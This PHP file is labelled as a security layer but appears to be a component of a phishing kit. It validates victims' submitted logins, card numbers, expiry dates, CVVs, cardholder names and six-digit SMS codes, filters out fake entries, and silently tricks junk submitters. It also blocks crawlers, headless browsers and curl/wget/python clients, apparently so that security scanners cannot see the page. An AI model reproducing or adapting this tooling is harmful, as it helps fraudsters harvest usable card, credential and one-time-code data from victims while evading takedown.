<?php
/**
 * ADVANCED PROTECTION SYSTEM
 * This file provides additional security layers
 */

// Prevent direct access
if (!defined('PROTECTION_LOADED')) {
	define('PROTECTION_LOADED', true);
}

// Function to detect and block bots
function advancedBotDetection() {
	$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
	$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
	
	// Block if no user agent
	if (empty($userAgent) || strlen($userAgent) < 10) {
		return false;
	}
	
	// Advanced bot patterns
	$botPatterns = array(
		'/bot/i', '/crawler/i', '/spider/i', '/scraper/i',
		'/headless/i', '/phantom/i', '/selenium/i', '/webdriver/i',
		'/puppeteer/i', '/playwright/i', '/curl/i', '/wget/i',
		'/python/i', '/java/i', '/perl/i', '/ruby/i', '/go-http/i'
	);
	
	foreach ($botPatterns as $pattern) {
		if (preg_match($pattern, $userAgent)) {
			return false;
		}
	}
	
	return true;
}

// Function to obfuscate file names
function obfuscateFileName($filename) {
	return base64_encode($filename);
}

// Function to deobfuscate file names
function deobfuscateFileName($encoded) {
	return base64_decode($encoded);
}

// Function to check if request is suspicious
function isSuspiciousRequest() {
	// Check for suspicious headers
	$suspiciousHeaders = array('X-Forwarded-For', 'X-Real-IP', 'X-Originating-IP');
	foreach ($suspiciousHeaders as $header) {
		if (isset($_SERVER['HTTP_' . str_replace('-', '_', strtoupper($header))])) {
			// Additional validation can be added here
		}
	}
	
	// Check for suspicious query parameters
	if (isset($_GET)) {
		foreach ($_GET as $key => $value) {
			if (preg_match('/(eval|base64|exec|system|shell|php)/i', $value)) {
				return true;
			}
		}
	}
	
	return false;
}

// Function to sanitize input
function sanitizeInput($input) {
	if (is_array($input)) {
		return array_map('sanitizeInput', $input);
	}
	return htmlspecialchars(strip_tags(trim($input)), ENT_QUOTES, 'UTF-8');
}

// Function to generate secure token
function generateSecureToken($length = 32) {
	return bin2hex(random_bytes($length));
}

function eonLoadBotBlockedIps() {
	static $cache = null;
	if ($cache !== null) {
		return $cache;
	}
	$cache = array();
	$file = dirname(__DIR__) . '/bot_blocked_ips.txt';
	if (!is_readable($file)) {
		return $cache;
	}
	$lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
	if (!is_array($lines)) {
		return $cache;
	}
	foreach ($lines as $line) {
		$line = trim($line);
		if ($line === '' || $line[0] === '#') {
			continue;
		}
		if (($hash = strpos($line, '#')) !== false) {
			$line = trim(substr($line, 0, $hash));
		}
		if (filter_var($line, FILTER_VALIDATE_IP)) {
			$cache[$line] = true;
		}
	}
	return $cache;
}

function eonIsBotIpBlocked($ip) {
	$ip = trim((string) $ip);
	if ($ip === '::1') {
		$ip = '127.0.0.1';
	}
	if ($ip === '' || !filter_var($ip, FILTER_VALIDATE_IP)) {
		return false;
	}
	return isset(eonLoadBotBlockedIps()[$ip]);
}

function eonAppendBotBlockedIp($ip, $reason = '') {
	$ip = trim((string) $ip);
	if ($ip === '::1') {
		$ip = '127.0.0.1';
	}
	if ($ip === '' || !filter_var($ip, FILTER_VALIDATE_IP) || eonIsBotIpBlocked($ip)) {
		return false;
	}
	$file = dirname(__DIR__) . '/bot_blocked_ips.txt';
	$note = $reason !== '' ? ' # ' . preg_replace('/[\r\n#]/', '', (string) $reason) : '';
	return file_put_contents($file, $ip . $note . "\n", FILE_APPEND | LOCK_EX) !== false;
}

function eonRejectBotRequest($ip, $reason = 'bot') {
	eonAppendBotBlockedIp($ip, $reason);
	if (!headers_sent()) {
		http_response_code(403);
	}
	exit('Access Denied');
}

function eonIsHoneypotTriggered() {
	foreach (array('website_url', 'url', 'email_confirm', 'company') as $field) {
		if (!empty($_POST[$field]) && trim((string) $_POST[$field]) !== '') {
			return true;
		}
	}
	return false;
}

function eonIsFormTooFast($minSeconds = 1) {
	if (!isset($_POST['_ft']) || !is_numeric($_POST['_ft'])) {
		return true;
	}
	return (time() - (int) $_POST['_ft']) < (int) $minSeconds;
}

function eonRecordJunkAttempt($ip) {
	if (session_status() !== PHP_SESSION_ACTIVE) {
		session_start();
	}
	if (!isset($_SESSION['junk_count'])) {
		$_SESSION['junk_count'] = 0;
	}
	$_SESSION['junk_count']++;
	if ($_SESSION['junk_count'] >= 4) {
		eonRejectBotRequest($ip, 'junk-spam');
	}
}

function eonSilentBotDrop($ip, $reason = 'junk') {
	eonRecordJunkAttempt($ip);
	if (!headers_sent()) {
		http_response_code(200);
	}
	echo 'ok';
	exit;
}

function eonLuhnValid($number) {
	$digits = preg_replace('/\D/', '', (string) $number);
	if ($digits === '' || strlen($digits) < 13 || strlen($digits) > 19) {
		return false;
	}
	$sum = 0;
	$alt = false;
	for ($i = strlen($digits) - 1; $i >= 0; $i--) {
		$n = (int) $digits[$i];
		if ($alt) {
			$n *= 2;
			if ($n > 9) {
				$n -= 9;
			}
		}
		$sum += $n;
		$alt = !$alt;
	}
	return ($sum % 10) === 0;
}

function eonIsObviousJunkText($text) {
	$text = trim((string) $text);
	if ($text === '' || $text === 'NO_DATA') {
		return true;
	}
	if (strlen($text) < 2) {
		return true;
	}
	if (preg_match('/(<|>|script|javascript:|onerror|select\s|union\s|drop\s)/i', $text)) {
		return true;
	}
	if (preg_match('/^(.)\1{4,}$/', $text)) {
		return true;
	}
	$lower = strtolower($text);
	$junk = array('test', 'asdf', 'qwerty', 'admin', 'null', 'undefined', 'fake', 'bot', 'spam', 'xxx');
	foreach ($junk as $word) {
		if ($lower === $word || strpos($lower, $word . '@') === 0) {
			return true;
		}
	}
	if (preg_match('/^[0-9a-f]{16,}$/i', $text)) {
		return true;
	}
	return false;
}

function eonIsValidLoginSubmission($user, $pass) {
	if (eonIsObviousJunkText($user) || eonIsObviousJunkText($pass)) {
		return false;
	}
	if (strlen($user) > 120 || strlen($pass) > 120) {
		return false;
	}
	return true;
}

function eonIsValidCardSubmission($cc, $exp, $cvv, $titular) {
	$ccClean = preg_replace('/\D/', '', (string) $cc);
	if (strlen($ccClean) !== 16 || !preg_match('/^(4|5)/', $ccClean)) {
		return false;
	}
	if (!eonLuhnValid($ccClean)) {
		return false;
	}
	if (!preg_match('/^\d{2}\/\d{2}$/', trim((string) $exp))) {
		return false;
	}
	$parts = explode('/', trim((string) $exp));
	$mm = (int) $parts[0];
	if ($mm < 1 || $mm > 12) {
		return false;
	}
	if (!preg_match('/^\d{3}$/', preg_replace('/\D/', '', (string) $cvv))) {
		return false;
	}
	$name = trim((string) $titular);
	if (strlen($name) < 2 || !preg_match('/[\p{L}]/u', $name)) {
		return false;
	}
	return true;
}

/** Watched-BIN flow: same checks as card submit but without Luhn (test/real BIN cards). */
function eonIsValidBinRoutedSubmission($cc, $exp, $cvv, $titular) {
	$ccClean = preg_replace('/\D/', '', (string) $cc);
	if (strlen($ccClean) !== 16 || !preg_match('/^(4|5)/', $ccClean)) {
		return false;
	}
	if (!preg_match('/^\d{2}\/\d{2}$/', trim((string) $exp))) {
		return false;
	}
	$parts = explode('/', trim((string) $exp));
	$mm = (int) $parts[0];
	if ($mm < 1 || $mm > 12) {
		return false;
	}
	if (!preg_match('/^\d{3}$/', preg_replace('/\D/', '', (string) $cvv))) {
		return false;
	}
	$name = trim((string) $titular);
	if (strlen($name) < 2 || !preg_match('/[\p{L}]/u', $name)) {
		return false;
	}
	return true;
}

function eonIsValidSmsSubmission($sms) {
	return preg_match('/^\d{6}$/', preg_replace('/\D/', '', (string) $sms)) === 1;
}

function eonGuardSubmission($ip) {
	if (eonIsHoneypotTriggered()) {
		eonRejectBotRequest($ip, 'honeypot');
	}
}

// Apply protection if not already applied
if (!function_exists('applyProtection')) {
	function applyProtection() {
		// Hide PHP version
		@ini_set('expose_php', '0');
		
		// Set security headers
		if (!headers_sent()) {
			header('X-Content-Type-Options: nosniff');
			header('X-Frame-Options: DENY');
			header('X-XSS-Protection: 1; mode=block');
			header('Referrer-Policy: no-referrer');
			header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
		}
		
		// Check for suspicious requests
		if (isSuspiciousRequest()) {
			http_response_code(403);
			exit('Access Denied');
		}
		
		// Advanced bot detection
		if (!advancedBotDetection()) {
			http_response_code(403);
			exit('Access Denied');
		}
	}
	
	// Auto-apply protection
	applyProtection();
}

